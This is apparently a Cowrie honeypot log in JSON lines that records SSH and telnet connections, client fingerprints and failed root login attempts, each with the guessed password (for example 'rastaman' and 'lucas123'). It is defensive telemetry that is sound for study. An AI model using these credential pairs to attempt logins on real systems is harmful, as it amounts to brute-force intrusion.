{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36754,"dst_ip":"10.17.0.5","dst_port":23,"session":"631657df5af6","protocol":"telnet","message":"New connection: 152.42.224.71:36754 (10.17.0.5:23) [session: 631657df5af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:17.188502Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:17.243245Z","src_ip":"103.27.238.120","session":"f1aa33681dde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36768,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef25cfc16acd","protocol":"telnet","message":"New connection: 152.42.224.71:36768 (10.17.0.5:23) [session: ef25cfc16acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:17.636713Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rrrrrr","message":"login attempt [root/rrrrrr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:18.046770Z","src_ip":"103.27.238.120","session":"f1aa33681dde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36784,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2613854fafb","protocol":"telnet","message":"New connection: 152.42.224.71:36784 (10.17.0.5:23) [session: f2613854fafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:18.496130Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:19.313373Z","src_ip":"103.27.238.120","session":"f1aa33681dde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.22920346260071,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:20.025149Z","src_ip":"152.42.224.71","session":"b4c404ec14cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":41926,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fa53e47f0c6","protocol":"ssh","message":"New connection: 87.251.79.125:41926 (10.17.0.5:22) [session: 2fa53e47f0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:22.662584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:22.668116Z","src_ip":"87.251.79.125","session":"2fa53e47f0c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b01d2cdda16f","protocol":"telnet","message":"New connection: 152.42.224.71:36796 (10.17.0.5:23) [session: b01d2cdda16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:22.714478Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:22.741722Z","src_ip":"87.251.79.125","session":"2fa53e47f0c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blueshoe496","message":"login attempt [root/blueshoe496] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:22.963726Z","src_ip":"87.251.79.125","session":"2fa53e47f0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:24.039232Z","src_ip":"87.251.79.125","session":"2fa53e47f0c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.744648456573486,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:24.756704Z","src_ip":"152.42.224.71","session":"25bd1cba6708","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.832625150680542,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:26.312232Z","src_ip":"152.42.224.71","session":"5c71d055bc83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42526,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc02c91ce3db","protocol":"telnet","message":"New connection: 152.42.224.71:42526 (10.17.0.5:23) [session: cc02c91ce3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:26.782062Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":51218,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2b989f069c6","protocol":"ssh","message":"New connection: 103.27.238.116:51218 (159.203.135.109:22) [session: b2b989f069c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:28.140704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:28.145483Z","src_ip":"103.27.238.116","session":"b2b989f069c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:28.418818Z","src_ip":"103.27.238.116","session":"b2b989f069c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47158,"dst_ip":"10.17.0.5","dst_port":22,"session":"89525f79b4ba","protocol":"ssh","message":"New connection: 80.94.92.184:47158 (10.17.0.5:22) [session: 89525f79b4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:28.526755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:28.803171Z","src_ip":"80.94.92.184","session":"89525f79b4ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:28.807299Z","src_ip":"80.94.92.184","session":"89525f79b4ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rastaman","message":"login attempt [root/rastaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:29.241503Z","src_ip":"103.27.238.116","session":"b2b989f069c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345","message":"login attempt [solv/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:29.259607Z","src_ip":"80.94.92.184","session":"89525f79b4ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.880760431289673,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:29.778678Z","src_ip":"152.42.224.71","session":"b8aa244a9721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:30.517236Z","src_ip":"103.27.238.116","session":"b2b989f069c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:30.560963Z","src_ip":"80.94.92.184","session":"89525f79b4ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":54112,"dst_ip":"10.17.0.5","dst_port":22,"session":"56908a310601","protocol":"ssh","message":"New connection: 43.156.63.254:54112 (10.17.0.5:22) [session: 56908a310601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:35.542870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:35.548005Z","src_ip":"43.156.63.254","session":"56908a310601","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:35.778710Z","src_ip":"43.156.63.254","session":"56908a310601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas123","message":"login attempt [root/lucas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:36.730724Z","src_ip":"43.156.63.254","session":"56908a310601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39780,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f6805f5bf9","protocol":"telnet","message":"New connection: 152.42.224.71:39780 (10.17.0.5:23) [session: e1f6805f5bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:37.001196Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:37.963486Z","src_ip":"43.156.63.254","session":"56908a310601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39794,"dst_ip":"10.17.0.5","dst_port":23,"session":"6273194cc615","protocol":"telnet","message":"New connection: 152.42.224.71:39794 (10.17.0.5:23) [session: 6273194cc615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:39.600745Z"}
{"eventid":"cowrie.session.closed","duration":112.04145002365112,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:39.781698Z","src_ip":"152.42.224.71","session":"fd09833bce77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.1367859840393,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:40.655611Z","src_ip":"152.42.224.71","session":"265e4d5c0fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":45868,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af49f5a6838","protocol":"ssh","message":"New connection: 147.45.199.80:45868 (10.17.0.5:22) [session: 6af49f5a6838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:40.734238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:40.739292Z","src_ip":"147.45.199.80","session":"6af49f5a6838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:40.834988Z","src_ip":"147.45.199.80","session":"6af49f5a6838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"585858","message":"login attempt [root/585858] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:41.132027Z","src_ip":"147.45.199.80","session":"6af49f5a6838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:42.231214Z","src_ip":"147.45.199.80","session":"6af49f5a6838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":38088,"dst_ip":"10.17.0.5","dst_port":22,"session":"30543def8b16","protocol":"ssh","message":"New connection: 171.244.37.103:38088 (10.17.0.5:22) [session: 30543def8b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:44.870573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:44.875218Z","src_ip":"171.244.37.103","session":"30543def8b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:45.126507Z","src_ip":"171.244.37.103","session":"30543def8b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"caca","message":"login attempt [root/caca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:46.167248Z","src_ip":"171.244.37.103","session":"30543def8b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:47.421720Z","src_ip":"171.244.37.103","session":"30543def8b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.44113373756409,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:47.621356Z","src_ip":"152.42.224.71","session":"45bc760bc929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46840,"dst_ip":"10.17.0.5","dst_port":23,"session":"63871f5fda5f","protocol":"telnet","message":"New connection: 152.42.224.71:46840 (10.17.0.5:23) [session: 63871f5fda5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:52.701666Z"}
{"eventid":"cowrie.session.closed","duration":35.77593660354614,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:53.412464Z","src_ip":"152.42.224.71","session":"ef25cfc16acd","protocol":"telnet"}
